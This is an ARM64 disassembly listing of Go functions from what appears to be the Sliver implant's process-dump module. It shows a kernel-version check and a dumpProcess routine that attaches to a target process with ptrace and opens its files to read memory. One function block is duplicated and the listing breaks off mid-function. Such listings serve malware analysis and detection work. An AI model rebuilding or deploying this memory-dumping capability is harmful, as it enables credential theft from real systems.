00428614ldr x2, [sp+200]
00428618str x1, [sp+96]
0042861cstr x2, [sp+104]
00428620ldrb w0, [sp+55]
00428624ldp x29, x30, [sp-8]
00428628add sp, sp, 272
0042862cret x30
00428630
00428630loc_428630:
00428630str xzr, [sp+168]
00428634stp xzr, xzr, [sp+176]
00428638stp xzr, xzr, [sp+192]
0042863cadrp x0, 0x298000
00428640add x0, x0, 505
00428644movz x1, 34
00428648bl os.ReadFile
0042864cstr x0, [sp+168]
00428650str x1, [sp+176]
00428654str x2, [sp+184]
00428658str x3, [sp+192]
0042865cstr x4, [sp+200]
00428660ldr x2, [sp+168]
00428664ldr x3, [sp+176]
00428668ldr x4, [sp+184]
0042866cstr x2, [sp+224]
00428670str x3, [sp+232]
00428674str x4, [sp+240]
00428678ldr x2, [sp+192]
0042867cldr x3, [sp+200]
00428680str x2, [sp+208]
00428684str x3, [sp+216]
00428688ldr x2, [sp+224]
0042868cldr x3, [sp+232]
00428690ldr x4, [sp+240]
00428694str x2, [sp+112]
00428698str x3, [sp+120]
0042869cstr x4, [sp+128]
004286a0ldr x2, [sp+216]
004286a4ldr x3, [sp+208]
004286a8str x3, [sp+136]
004286acstr x2, [sp+144]
004286b0cbnz x3, 0x4286b8
004286b4b 0x4286dc
004286b8
004286b8loc_4286b8:
004286b8orr x3, xzr, 1
004286bcstrb w3, [sp+55]
004286c0stp xzr, xzr, [sp+96]
004286c4ldrb w0, [sp+55]
004286c8mov x1, xzr
004286ccmov x2, xzr
004286d0ldp x29, x30, [sp-8]
004286d4add sp, sp, 272
004286d8ret x30
004286dc
004286dcloc_4286dc:
004286dcldr x1, [sp+112]
004286e0ldr x2, [sp+120]
004286e4add x0, sp, 56
004286e8bl runtime.slicebytetostring
004286ecstr x0, [sp+248]
004286f0str x1, [sp+256]
004286f4bl strings.TrimSpace
004286f8str x0, [sp+152]
004286fcstr x1, [sp+160]
00428700subs xzr, x1, 1
00428704b.eq 0x42870c
00428708b 0x428774
0042870c
0042870cloc_42870c:
0042870csubs xzr, x1, 0
00428710b.hi 0x428718
00428714b 0x42879c
00428718
00428718loc_428718:
00428718ldrb w5, [x0]
0042871csubs wzr, w5, 51
00428720b.eq 0x428728
00428724b 0x428770
00428728
00428728loc_428728:
00428728adrp x0, 0x295000
0042872cadd x0, x0, 3424
00428730orr x1, xzr, 31
00428734mov x2, xzr
00428738mov x3, xzr
0042873cmov x4, x3
00428740bl fmt.Errorf
00428744str x0, [sp+192]
00428748str x1, [sp+200]
0042874cstrb wzr, [sp+55]
00428750ldr x1, [sp+192]
00428754ldr x2, [sp+200]
00428758str x1, [sp+96]
0042875cstr x2, [sp+104]
00428760ldrb w0, [sp+55]
00428764ldp x29, x30, [sp-8]
00428768add sp, sp, 272
0042876cret x30
00428770
00428770loc_428770:
00428770b 0x428778
00428774
00428774loc_428774:
00428774b 0x428778
00428778
00428778loc_428778:
00428778orr x3, xzr, 1
0042877cstrb w3, [sp+55]
00428780stp xzr, xzr, [sp+96]
00428784ldrb w0, [sp+55]
00428788mov x1, xzr
0042878cmov x2, xzr
00428790ldp x29, x30, [sp-8]
00428794add sp, sp, 272
00428798ret x30
0042879c
0042879cloc_42879c:
0042879cmov x0, xzr
004287a0bl runtime.panicIndex
004287a4hint
004287a8
004287a8loc_4287a8:
004287a8mov x3, x30
004287acbl runtime.morestack_noctxt.abi0
004287b0b 0x4285b0
004287b4udf 0
004287b8udf 0
004287bcudf 0
004285b0
004287c0
004287c0github.com/bishopfox/sliver/implant/sliver/procdump.isOldKernelVersion: ; void github.com/bishopfox/sliver/implant/sliver/procdump.isOldKernelVersion(void)
004287c0ldr x16, [x28+16]
004287c4sub x17, sp, 224
004287c8subs xzr, x17, x16
004287ccb.ls 0x428a70
004287d0sub x20, sp, 352
004287d4stp x29, x30, [x20-8]
004287d8add sp, x20, 0
004287dcsub x29, sp, 8
004287e0strb wzr, [sp+39]
004287e4adrp x0, 0x28c000
004287e8add x0, x0, 3188
004287ecorr x1, xzr, 16
004287f0bl regexp.MustCompile
004287f4str x0, [sp+104]
004287f8str xzr, [sp+304]
004287fcstp xzr, xzr, [sp+312]
00428800stp xzr, xzr, [sp+288]
00428804adrp x0, 0x292000
00428808add x0, x0, 1475
0042880cmovz x1, 26
00428810bl os.ReadFile
00428814str x0, [sp+304]
00428818str x1, [sp+312]
0042881cstr x2, [sp+320]
00428820str x3, [sp+288]
00428824str x4, [sp+296]
00428828ldr x2, [sp+304]
0042882cldr x3, [sp+312]
00428830ldr x4, [sp+320]
00428834str x2, [sp+200]
00428838str x3, [sp+208]
0042883cstr x4, [sp+216]
00428840ldr x2, [sp+288]
00428844ldr x3, [sp+296]
00428848str x2, [sp+184]
0042884cstr x3, [sp+192]
00428850ldr x2, [sp+200]
00428854ldr x3, [sp+208]
00428858ldr x4, [sp+216]
0042885cstr x2, [sp+112]
00428860str x3, [sp+120]
00428864str x4, [sp+128]
00428868ldr x2, [sp+192]
0042886cldr x3, [sp+184]
00428870str x3, [sp+152]
00428874str x2, [sp+160]
00428878cbnz x3, 0x428880
0042887cb 0x428894
00428880
00428880loc_428880:
00428880orr x0, xzr, 1
00428884strb w0, [sp+39]
00428888ldp x29, x30, [sp-8]
0042888cadd sp, sp, 352
00428890ret x30
00428894
00428894loc_428894:
00428894ldr x1, [sp+112]
00428898ldr x2, [sp+120]
0042889cmov x0, xzr
004288a0bl runtime.slicebytetostring
004288a4str x0, [sp+256]
004288a8str x1, [sp+264]
004288acbl strings.TrimSpace
004288b0str x0, [sp+272]
004288b4str x1, [sp+280]
004288b8ldr x3, [sp+104]
004288bcmov x2, x1
004288c0mov x1, x0
004288c4mov x0, x3
004288c8bl regexp.(*Regexp).FindStringSubmatch
004288ccstr x0, [sp+80]
004288d0str x1, [sp+88]
004288d4str x2, [sp+96]
004288d8cbnz x0, 0x4288e0
004288dcb 0x428a48
004288e0
004288e0loc_4288e0:
004288e0stp xzr, xzr, [sp+288]
004288e4ldr x2, [sp+80]
004288e8ldr x1, [sp+88]
004288ecsubs xzr, x1, 1
004288f0b.hi 0x4288f8
004288f4b 0x428a64
004288f8
004288f8loc_4288f8:
004288f8ldr x0, [x2+16]
004288fcldr x1, [x2+24]
00428900str x0, [sp+240]
00428904str x1, [sp+248]
00428908bl strconv.Atoi
0042890cstr x0, [sp+64]
00428910str x1, [sp+288]
00428914str x2, [sp+296]
00428918ldr x3, [sp+64]
0042891cstr x3, [sp+56]
00428920str x1, [sp+168]
00428924str x2, [sp+176]
00428928ldr x3, [sp+56]
0042892cstr x3, [sp+48]
00428930str x1, [sp+152]
00428934str x2, [sp+160]
00428938cbnz x1, 0x428940
0042893cb 0x428954
00428940
00428940loc_428940:
00428940orr x0, xzr, 1
00428944strb w0, [sp+39]
00428948ldp x29, x30, [sp-8]
0042894cadd sp, sp, 352
00428950ret x30
00428954
00428954loc_428954:
00428954ldr x2, [sp+48]
00428958subs xzr, x2, 3
0042895cb.gt 0x428964
00428960b 0x428978
00428964
00428964loc_428964:
00428964strb wzr, [sp+39]
00428968mov x0, xzr
0042896cldp x29, x30, [sp-8]
00428970add sp, sp, 352
00428974ret x30
00428978
00428978loc_428978:
00428978ldr x2, [sp+48]
0042897csubs xzr, x2, 3
00428980b.eq 0x428988
00428984b 0x428a34
00428988
00428988loc_428988:
00428988stp xzr, xzr, [sp+288]
0042898cldr x2, [sp+80]
00428990ldr x1, [sp+88]
00428994subs xzr, x1, 2
00428998b.hi 0x4289a0
0042899cb 0x428a5c
004289a0
004289a0loc_4289a0:
004289a0ldr x0, [x2+32]
004289a4ldr x1, [x2+40]
004289a8str x0, [sp+224]
004289acstr x1, [sp+232]
004289b0bl strconv.Atoi
004289b4str x0, [sp+64]
004289b8str x1, [sp+288]
004289bcstr x2, [sp+296]
004289c0ldr x3, [sp+64]
004289c4str x3, [sp+72]
004289c8str x1, [sp+328]
004289ccstr x2, [sp+336]
004289d0ldr x3, [sp+72]
004289d4str x3, [sp+40]
004289d8str x1, [sp+136]
004289dcstr x2, [sp+144]
004289e0cbnz x1, 0x4289e8
004289e4b 0x4289fc
004289e8
004289e8loc_4289e8:
004289e8orr x0, xzr, 1
004289ecstrb w0, [sp+39]
004289f0ldp x29, x30, [sp-8]
004289f4add sp, sp, 352
004289f8ret x30
004289fc
004289fcloc_4289fc:
004289fcldr x1, [sp+40]
00428a00subs xzr, x1, 3
00428a04b.ge 0x428a0c
00428a08b 0x428a20
00428a0c
00428a0cloc_428a0c:
00428a0cstrb wzr, [sp+39]
00428a10mov x0, xzr
00428a14ldp x29, x30, [sp-8]
00428a18add sp, sp, 352
00428a1cret x30
00428a20
00428a20loc_428a20:
00428a20orr x0, xzr, 1
00428a24strb w0, [sp+39]
00428a28ldp x29, x30, [sp-8]
00428a2cadd sp, sp, 352
00428a30ret x30
00428a34
00428a34loc_428a34:
00428a34orr x0, xzr, 1
00428a38strb w0, [sp+39]
00428a3cldp x29, x30, [sp-8]
00428a40add sp, sp, 352
00428a44ret x30
00428a48
00428a48loc_428a48:
00428a48orr x0, xzr, 1
00428a4cstrb w0, [sp+39]
00428a50ldp x29, x30, [sp-8]
00428a54add sp, sp, 352
00428a58ret x30
00428a5c
00428a5cloc_428a5c:
00428a5corr x0, xzr, 2
00428a60bl runtime.panicIndex
00428a64
00428a64loc_428a64:
00428a64orr x0, xzr, 1
00428a68bl runtime.panicIndex
00428a6chint
00428a70
00428a70loc_428a70:
00428a70mov x3, x30
00428a74bl runtime.morestack_noctxt.abi0
00428a78b 0x4287c0
00428a7cudf 0
004287c0
004287c0github.com/bishopfox/sliver/implant/sliver/procdump.isOldKernelVersion: ; void github.com/bishopfox/sliver/implant/sliver/procdump.isOldKernelVersion(void)
004287c0ldr x16, [x28+16]
004287c4sub x17, sp, 224
004287c8subs xzr, x17, x16
004287ccb.ls 0x428a70
004287d0sub x20, sp, 352
004287d4stp x29, x30, [x20-8]
004287d8add sp, x20, 0
004287dcsub x29, sp, 8
004287e0strb wzr, [sp+39]
004287e4adrp x0, 0x28c000
004287e8add x0, x0, 3188
004287ecorr x1, xzr, 16
004287f0bl regexp.MustCompile
004287f4str x0, [sp+104]
004287f8str xzr, [sp+304]
004287fcstp xzr, xzr, [sp+312]
00428800stp xzr, xzr, [sp+288]
00428804adrp x0, 0x292000
00428808add x0, x0, 1475
0042880cmovz x1, 26
00428810bl os.ReadFile
00428814str x0, [sp+304]
00428818str x1, [sp+312]
0042881cstr x2, [sp+320]
00428820str x3, [sp+288]
00428824str x4, [sp+296]
00428828ldr x2, [sp+304]
0042882cldr x3, [sp+312]
00428830ldr x4, [sp+320]
00428834str x2, [sp+200]
00428838str x3, [sp+208]
0042883cstr x4, [sp+216]
00428840ldr x2, [sp+288]
00428844ldr x3, [sp+296]
00428848str x2, [sp+184]
0042884cstr x3, [sp+192]
00428850ldr x2, [sp+200]
00428854ldr x3, [sp+208]
00428858ldr x4, [sp+216]
0042885cstr x2, [sp+112]
00428860str x3, [sp+120]
00428864str x4, [sp+128]
00428868ldr x2, [sp+192]
0042886cldr x3, [sp+184]
00428870str x3, [sp+152]
00428874str x2, [sp+160]
00428878cbnz x3, 0x428880
0042887cb 0x428894
00428880
00428880loc_428880:
00428880orr x0, xzr, 1
00428884strb w0, [sp+39]
00428888ldp x29, x30, [sp-8]
0042888cadd sp, sp, 352
00428890ret x30
00428894
00428894loc_428894:
00428894ldr x1, [sp+112]
00428898ldr x2, [sp+120]
0042889cmov x0, xzr
004288a0bl runtime.slicebytetostring
004288a4str x0, [sp+256]
004288a8str x1, [sp+264]
004288acbl strings.TrimSpace
004288b0str x0, [sp+272]
004288b4str x1, [sp+280]
004288b8ldr x3, [sp+104]
004288bcmov x2, x1
004288c0mov x1, x0
004288c4mov x0, x3
004288c8bl regexp.(*Regexp).FindStringSubmatch
004288ccstr x0, [sp+80]
004288d0str x1, [sp+88]
004288d4str x2, [sp+96]
004288d8cbnz x0, 0x4288e0
004288dcb 0x428a48
004288e0
004288e0loc_4288e0:
004288e0stp xzr, xzr, [sp+288]
004288e4ldr x2, [sp+80]
004288e8ldr x1, [sp+88]
004288ecsubs xzr, x1, 1
004288f0b.hi 0x4288f8
004288f4b 0x428a64
004288f8
004288f8loc_4288f8:
004288f8ldr x0, [x2+16]
004288fcldr x1, [x2+24]
00428900str x0, [sp+240]
00428904str x1, [sp+248]
00428908bl strconv.Atoi
0042890cstr x0, [sp+64]
00428910str x1, [sp+288]
00428914str x2, [sp+296]
00428918ldr x3, [sp+64]
0042891cstr x3, [sp+56]
00428920str x1, [sp+168]
00428924str x2, [sp+176]
00428928ldr x3, [sp+56]
0042892cstr x3, [sp+48]
00428930str x1, [sp+152]
00428934str x2, [sp+160]
00428938cbnz x1, 0x428940
0042893cb 0x428954
00428940
00428940loc_428940:
00428940orr x0, xzr, 1
00428944strb w0, [sp+39]
00428948ldp x29, x30, [sp-8]
0042894cadd sp, sp, 352
00428950ret x30
00428954
00428954loc_428954:
00428954ldr x2, [sp+48]
00428958subs xzr, x2, 3
0042895cb.gt 0x428964
00428960b 0x428978
00428964
00428964loc_428964:
00428964strb wzr, [sp+39]
00428968mov x0, xzr
0042896cldp x29, x30, [sp-8]
00428970add sp, sp, 352
00428974ret x30
00428978
00428978loc_428978:
00428978ldr x2, [sp+48]
0042897csubs xzr, x2, 3
00428980b.eq 0x428988
00428984b 0x428a34
00428988
00428988loc_428988:
00428988stp xzr, xzr, [sp+288]
0042898cldr x2, [sp+80]
00428990ldr x1, [sp+88]
00428994subs xzr, x1, 2
00428998b.hi 0x4289a0
0042899cb 0x428a5c
004289a0
004289a0loc_4289a0:
004289a0ldr x0, [x2+32]
004289a4ldr x1, [x2+40]
004289a8str x0, [sp+224]
004289acstr x1, [sp+232]
004289b0bl strconv.Atoi
004289b4str x0, [sp+64]
004289b8str x1, [sp+288]
004289bcstr x2, [sp+296]
004289c0ldr x3, [sp+64]
004289c4str x3, [sp+72]
004289c8str x1, [sp+328]
004289ccstr x2, [sp+336]
004289d0ldr x3, [sp+72]
004289d4str x3, [sp+40]
004289d8str x1, [sp+136]
004289dcstr x2, [sp+144]
004289e0cbnz x1, 0x4289e8
004289e4b 0x4289fc
004289e8
004289e8loc_4289e8:
004289e8orr x0, xzr, 1
004289ecstrb w0, [sp+39]
004289f0ldp x29, x30, [sp-8]
004289f4add sp, sp, 352
004289f8ret x30
004289fc
004289fcloc_4289fc:
004289fcldr x1, [sp+40]
00428a00subs xzr, x1, 3
00428a04b.ge 0x428a0c
00428a08b 0x428a20
00428a0c
00428a0cloc_428a0c:
00428a0cstrb wzr, [sp+39]
00428a10mov x0, xzr
00428a14ldp x29, x30, [sp-8]
00428a18add sp, sp, 352
00428a1cret x30
00428a20
00428a20loc_428a20:
00428a20orr x0, xzr, 1
00428a24strb w0, [sp+39]
00428a28ldp x29, x30, [sp-8]
00428a2cadd sp, sp, 352
00428a30ret x30
00428a34
00428a34loc_428a34:
00428a34orr x0, xzr, 1
00428a38strb w0, [sp+39]
00428a3cldp x29, x30, [sp-8]
00428a40add sp, sp, 352
00428a44ret x30
00428a48
00428a48loc_428a48:
00428a48orr x0, xzr, 1
00428a4cstrb w0, [sp+39]
00428a50ldp x29, x30, [sp-8]
00428a54add sp, sp, 352
00428a58ret x30
00428a5c
00428a5cloc_428a5c:
00428a5corr x0, xzr, 2
00428a60bl runtime.panicIndex
00428a64
00428a64loc_428a64:
00428a64orr x0, xzr, 1
00428a68bl runtime.panicIndex
00428a6chint
00428a70
00428a70loc_428a70:
00428a70mov x3, x30
00428a74bl runtime.morestack_noctxt.abi0
00428a78b 0x4287c0
00428a7cudf 0
004287c0
00428a80
00428a80github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess: ; void github.com/bishopfox/sliver/implant/sliver/procdump.dumpProcess(int32 pid)
00428a80ldr x16, [x28+16]
00428a84sub x17, sp, 832
00428a88subs xzr, x17, x16
00428a8cb.ls 0x42969c
00428a90sub x20, sp, 960
00428a94stp x29, x30, [x20-8]
00428a98add sp, x20, 0
00428a9csub x29, sp, 8
00428aa0str w0, [sp+968]
00428aa4stp xzr, xzr, [sp+336]
00428aa8stp xzr, xzr, [sp+320]
00428aacadrp x0, 0x201000
00428ab0add x0, x0, 3552
00428ab4bl runtime.newobject
00428ab8str x0, [sp+680]
00428abcstp xzr, xzr, [x0+8]
00428ac0adrp x27, 0x623000
00428ac4ldr w1, [x27+3056]
00428ac8cbz w1, 0x428ad0
00428accb 0x428ad4
00428ad0
00428ad0loc_428ad0:
00428ad0b 0x428ae4
00428ad4
00428ad4loc_428ad4:
00428ad4ldr x1, [x0]
00428ad8bl runtime.gcWriteBarrier1
00428adcstr x1, [x25]
00428ae0b 0x428ae4
00428ae4
00428ae4loc_428ae4:
00428ae4str xzr, [x0]
00428ae8ldr x0, [sp+680]
00428aecstr x0, [sp+352]
00428af0bl github.com/bishopfox/sliver/implant/sliver/procdump.isOldKernelVersion
00428af4strb w0, [sp+76]
00428af8add x27, sp, 784
00428afcstp xzr, xzr, [x27]
00428b00bl github.com/bishopfox/sliver/implant/sliver/procdump.checkPermissions
00428b04strb w0, [sp+79]
00428b08str x1, [sp+784]
00428b0cstr x2, [sp+792]
00428b10ldrb w0, [sp+79]
00428b14strb w0, [sp+78]
00428b18ldr x0, [sp+784]
00428b1cldr x1, [sp+792]
00428b20str x0, [sp+496]
00428b24str x1, [sp+504]
00428b28ldrb w0, [sp+78]
00428b2cstrb w0, [sp+77]
00428b30ldr x0, [sp+496]
00428b34ldr x1, [sp+504]
00428b38str x0, [sp+480]
00428b3cstr x1, [sp+488]
00428b40ldrb w0, [sp+77]
00428b44eor x1, x0, 1
00428b48strb w1, [sp+79]
00428b4ctbnz w0, 0, 0x428b54
00428b50b 0x428b68
00428b54
00428b54loc_428b54:
00428b54ldr x1, [sp+480]
00428b58subs xzr, x1, 0
00428b5ccset x1, ne
00428b60strb w1, [sp+79]
00428b64b 0x428b6c
00428b68
00428b68loc_428b68:
00428b68b 0x428b6c
00428b6c
00428b6cloc_428b6c:
00428b6cldrb w1, [sp+79]
00428b70tbnz w1, 0, 0x428b78
00428b74b 0x428bc0
00428b78
00428b78loc_428b78:
00428b78ldr x0, [sp+352]
00428b7cstr x0, [sp+776]
00428b80adrp x1, 0x2ed000
00428b84add x1, x1, 2016
00428b88str x1, [sp+336]
00428b8cstr x0, [sp+344]
00428b90ldr x0, [sp+480]
00428b94ldr x1, [sp+488]
00428b98str x0, [sp+320]
00428b9cstr x1, [sp+328]
00428ba0bl runtime.deferreturn
00428ba4ldr x0, [sp+336]
00428ba8ldr x2, [sp+320]
00428bacldr x1, [sp+344]
00428bb0ldr x3, [sp+328]
00428bb4ldp x29, x30, [sp-8]
00428bb8add sp, sp, 960
00428bbcret x30
00428bc0
00428bc0loc_428bc0:
00428bc0str xzr, [sp+752]
00428bc4add x27, sp, 760
00428bc8stp xzr, xzr, [x27]
00428bccadd x27, sp, 784
00428bd0stp xzr, xzr, [x27]
00428bd4ldrsw x0, [sp+968]
00428bd8bl github.com/bishopfox/sliver/implant/sliver/procdump.createMemoryMap
00428bdcstr x0, [sp+752]
00428be0str x1, [sp+760]
00428be4str x2, [sp+768]
00428be8str x3, [sp+288]
00428becstr x4, [sp+784]
00428bf0str x5, [sp+792]
00428bf4ldr x1, [sp+752]
00428bf8ldr x2, [sp+760]
00428bfcldr x3, [sp+768]
00428c00str x1, [sp+928]
00428c04str x2, [sp+936]
00428c08str x3, [sp+944]
00428c0cldr x1, [sp+288]
00428c10str x1, [sp+312]
00428c14ldr x1, [sp+784]
00428c18ldr x2, [sp+792]
00428c1cstr x1, [sp+912]
00428c20str x2, [sp+920]
00428c24ldr x1, [sp+928]
00428c28ldr x2, [sp+936]
00428c2cldr x3, [sp+944]
00428c30str x1, [sp+376]
00428c34str x2, [sp+384]
00428c38str x3, [sp+392]
00428c3cldr x1, [sp+312]
00428c40str x1, [sp+96]
00428c44ldr x1, [sp+920]
00428c48ldr x2, [sp+912]
00428c4cstr x2, [sp+480]
00428c50str x1, [sp+488]
00428c54cbnz x2, 0x428c5c
00428c58b 0x428ca4
00428c5c
00428c5cloc_428c5c:
00428c5cldr x0, [sp+352]
00428c60str x0, [sp+776]
00428c64adrp x1, 0x2ed000
00428c68add x1, x1, 2016
00428c6cstr x1, [sp+336]
00428c70str x0, [sp+344]
00428c74ldr x0, [sp+480]
00428c78ldr x1, [sp+488]
00428c7cstr x0, [sp+320]
00428c80str x1, [sp+328]
00428c84bl runtime.deferreturn
00428c88ldr x0, [sp+336]
00428c8cldr x2, [sp+320]
00428c90ldr x1, [sp+344]
00428c94ldr x3, [sp+328]
00428c98ldp x29, x30, [sp-8]
00428c9cadd sp, sp, 960
00428ca0ret x30
00428ca4
00428ca4loc_428ca4:
00428ca4ldr x2, [sp+96]
00428ca8ldr x1, [sp+96]
00428cacadrp x0, 0x1cd000
00428cb0add x0, x0, 3072
00428cb4bl runtime.makeslice
00428cb8ldr x3, [sp+96]
00428cbcldr x4, [sp+96]
00428cc0str x0, [sp+728]
00428cc4str x3, [sp+736]
00428cc8str x4, [sp+744]
00428cccldr x5, [sp+352]
00428cd0ldrsb x27, [x5]
00428cd4str x3, [x5+8]
00428cd8str x4, [x5+16]
00428cdcadrp x27, 0x623000
00428ce0ldr w3, [x27+3056]
00428ce4cbz w3, 0x428cec
00428ce8b 0x428cf0
00428cec
00428cecloc_428cec:
00428cecb 0x428d04
00428cf0
00428cf0loc_428cf0:
00428cf0bl runtime.gcWriteBarrier2
00428cf4str x0, [x25]
00428cf8ldr x2, [x5]
00428cfcstr x2, [x25+8]
00428d00b 0x428d04
00428d04
00428d04loc_428d04:
00428d04str x0, [x5]
00428d08str xzr, [sp+104]
00428d0cldrb w2, [sp+76]
00428d10tbnz w2, 0, 0x428d18
00428d14b 0x428fa0
00428d18
00428d18loc_428d18:
00428d18str xzr, [sp+720]
00428d1cadd x27, sp, 784
00428d20stp xzr, xzr, [x27]
00428d24ldrsw x1, [sp+968]
00428d28mov x0, x1
00428d2cbl os.FindProcess
00428d30str x0, [sp+720]
00428d34str x1, [sp+784]
00428d38str x2, [sp+792]
00428d3cldr x1, [sp+720]
00428d40str x1, [sp+904]
00428d44ldr x1, [sp+784]
00428d48ldr x2, [sp+792]
00428d4cstr x1, [sp+888]
00428d50str x2, [sp+896]
00428d54ldr x1, [sp+904]
00428d58str x1, [sp+408]
00428d5cldr x1, [sp+896]
00428d60ldr x2, [sp+888]
00428d64str x2, [sp+464]
00428d68str x1, [sp+472]
00428d6ccbnz x2, 0x428d74
00428d70b 0x428de4
00428d74
00428d74loc_428d74:
00428d74ldr x5, [sp+352]
00428d78str x5, [sp+776]
00428d7cadrp x0, 0x2a2000
00428d80add x0, x0, 4072
00428d84movz x1, 55
00428d88mov x2, xzr
00428d8cmov x3, xzr
00428d90mov x4, x3
00428d94bl fmt.Errorf
00428d98str x0, [sp+784]
00428d9cstr x1, [sp+792]
00428da0ldr x5, [sp+776]
00428da4adrp x6, 0x2ed000
00428da8add x6, x6, 2016
00428dacstr x6, [sp+336]
00428db0str x5, [sp+344]
00428db4ldr x5, [sp+784]
00428db8ldr x6, [sp+792]
00428dbcstr x5, [sp+320]
00428dc0str x6, [sp+328]
00428dc4bl runtime.deferreturn
00428dc8ldr x0, [sp+336]
00428dccldr x2, [sp+320]
00428dd0ldr x1, [sp+344]
00428dd4ldr x3, [sp+328]
00428dd8ldp x29, x30, [sp-8]
00428ddcadd sp, sp, 960
00428de0ret x30
00428de4
00428de4loc_428de4:
00428de4bl runtime.LockOSThread
00428de8adrp x0, 0x2b0000
00428decadd x0, x0, 1640
00428df0str x0, [sp+200]
00428df4add x0, sp, 176
00428df8bl runtime.deferprocStack
00428dfcsubs xzr, x0, 0
00428e00b.ne 0x428f80
00428e04b 0x428e08
00428e08
00428e08loc_428e08:
00428e08ldrsw x1, [sp+968]
00428e0cmov x0, x1
00428e10bl syscall.PtraceAttach
00428e14str x0, [sp+464]
00428e18str x1, [sp+472]
00428e1ccbnz x0, 0x428e24
00428e20b 0x428e9c
00428e24
00428e24loc_428e24:
00428e24ldr x5, [sp+352]
00428e28str x5, [sp+776]
00428e2cadrp x0, 0x295000
00428e30add x0, x0, 3455
00428e34orr x1, xzr, 31
00428e38mov x2, xzr
00428e3cmov x3, xzr
00428e40mov x4, x3
00428e44bl fmt.Errorf
00428e48str x0, [sp+784]
00428e4cstr x1, [sp+792]
00428e50str x0, [sp+664]
00428e54str x1, [sp+672]
00428e58ldr x5, [sp+776]
00428e5cadrp x6, 0x2ed000
00428e60add x6, x6, 2016
00428e64str x6, [sp+336]
00428e68str x5, [sp+344]
00428e6cldr x5, [sp+664]
00428e70ldr x6, [sp+672]
00428e74str x5, [sp+320]
00428e78str x6, [sp+328]
00428e7cbl runtime.deferreturn
00428e80ldr x0, [sp+336]
00428e84ldr x2, [sp+320]
00428e88ldr x1, [sp+344]
00428e8cldr x3, [sp+328]
00428e90ldp x29, x30, [sp-8]
00428e94add sp, sp, 960
00428e98ret x30
00428e9c
00428e9cloc_428e9c:
00428e9cstr xzr, [sp+712]
00428ea0add x27, sp, 784
00428ea4stp xzr, xzr, [x27]
00428ea8ldr x0, [sp+408]
00428eacbl os.(*Process).Wait
00428eb0str x0, [sp+712]
00428eb4str x1, [sp+784]
00428eb8str x2, [sp+792]
00428ebcldr x1, [sp+712]
00428ec0str x1, [sp+880]
00428ec4ldr x1, [sp+792]
00428ec8ldr x2, [sp+784]
00428eccstr x2, [sp+864]
00428ed0str x1, [sp+872]
00428ed4str x2, [sp+464]
00428ed8str x1, [sp+472]
00428edccbnz x2, 0x428ee4
00428ee0b 0x428f5c
00428ee4
00428ee4loc_428ee4:
00428ee4ldr x5, [sp+352]
00428ee8str x5, [sp+776]
00428eecadrp x0, 0x2a1000
00428ef0add x0, x0, 1158
00428ef4movz x1, 50
00428ef8mov x2, xzr
00428efcmov x3, xzr
00428f00mov x4, x3
00428f04bl fmt.Errorf
00428f08str x0, [sp+784]
00428f0cstr x1, [sp+792]
00428f10str x0, [sp+648]
00428f14str x1, [sp+656]
00428f18ldr x5, [sp+776]
00428f1cadrp x6, 0x2ed000
00428f20add x6, x6, 2016
00428f24str x6, [sp+336]
00428f28str x5, [sp+344]
00428f2cldr x5, [sp+648]
00428f30ldr x6, [sp+656]
00428f34str x5, [sp+320]
00428f38str x6, [sp+328]
00428f3cbl runtime.deferreturn
00428f40ldr x0, [sp+336]
00428f44ldr x2, [sp+320]
00428f48ldr x1, [sp+344]
00428f4cldr x3, [sp+328]
00428f50ldp x29, x30, [sp-8]
00428f54add sp, sp, 960
00428f58ret x30
00428f5c
00428f5cloc_428f5c:
00428f5cldr x5, [sp+384]
00428f60ldr x6, [sp+376]
00428f64ldr x7, [sp+392]
00428f68str x6, [sp+752]
00428f6cstr x5, [sp+760]
00428f70str x7, [sp+768]
00428f74str xzr, [sp+264]
00428f78str x5, [sp+256]
00428f7cb 0x4293c4
00428f80
00428f80loc_428f80:
00428f80bl runtime.deferreturn
00428f84ldr x0, [sp+336]
00428f88ldr x2, [sp+320]
00428f8cldr x1, [sp+344]
00428f90ldr x3, [sp+328]
00428f94ldp x29, x30, [sp-8]
00428f98add sp, sp, 960
00428f9cret x30
00428fa0
00428fa0loc_428fa0:
00428fa0ldrsw x2, [sp+968]
00428fa4mov x0, x2
00428fa8movz x1, 10
00428facbl strconv.FormatInt
00428fb0str x0, [sp+696]
00428fb4str x1, [sp+704]
00428fb8str xzr, [sp+688]
00428fbcadd x27, sp, 784
00428fc0stp xzr, xzr, [x27]
00428fc4ldr x3, [sp+696]
00428fc8ldr x4, [sp+704]
00428fccmov x0, xzr
00428fd0adrp x1, 0x288000
00428fd4add x1, x1, 2737
00428fd8orr x2, xzr, 6
00428fdcadrp x5, 0x288000
00428fe0add x5, x5, 1114
00428fe4orr x6, xzr, 4
00428fe8bl runtime.concatstring3
00428fecstr x0, [sp+584]
00428ff0str x1, [sp+592]
00428ff4bl os.Open
00428ff8str x0, [sp+688]
00428ffcstr x1, [sp+784]
00429000str x2, [sp+792]
00429004ldr x2, [sp+688]
00429008str x2, [sp+840]
0042900cldr x2, [sp+784]
00429010ldr x3, [sp+792]
00429014str x2, [sp+824]
00429018str x3, [sp+832]
0042901cldr x2, [sp+840]
00429020str x2, [sp+400]
00429024ldr x2, [sp+832]
00429028ldr x3, [sp+824]
0042902cstr x3, [sp+432]
00429030str x2, [sp+440]
00429034cbnz x3, 0x42903c
00429038b 0x4290b4
0042903c
0042903cloc_42903c:
0042903cldr x5, [sp+352]
00429040str x5, [sp+776]
00429044adrp x0, 0x293000
00429048add x0, x0, 2222
0042904cmovz x1, 29
00429050mov x2, xzr
00429054mov x3, xzr
00429058mov x4, x3
0042905cbl fmt.Errorf
00429060str x0, [sp+784]
00429064str x1, [sp+792]
00429068str x0, [sp+568]
0042906cstr x1, [sp+576]
00429070ldr x5, [sp+776]
00429074adrp x6, 0x2ec000
00429078add x6, x6, 2016
0042907cstr x6, [sp+336]
00429080str x5, [sp+344]
00429084ldr x5, [sp+568]
00429088ldr x6, [sp+576]
0042908cstr x5, [sp+320]
00429090str x6, [sp+328]
00429094bl runtime.deferreturn
00429098ldr x0, [sp+336]
0042909cldr x2, [sp+320]
004290a0ldr x1, [sp+344]
004290a4ldr x3, [sp+328]
004290a8ldp x29, x30, [sp-8]
004290acadd sp, sp, 960
004290b0ret x30
004290b4
004290b4loc_4290b4:
004290b4ldr x1, [sp+400]
004290b8str x1, [sp+816]
004290bcadd x27, sp, 544
004290c0stp xzr, xzr, [x27]
004290c4add x1, sp, 544
004290c8str x1, [sp+560]
004290ccldrsb x27, [x1]
004290d0adrp x2, 0
004290d4add x2, x2, 1712
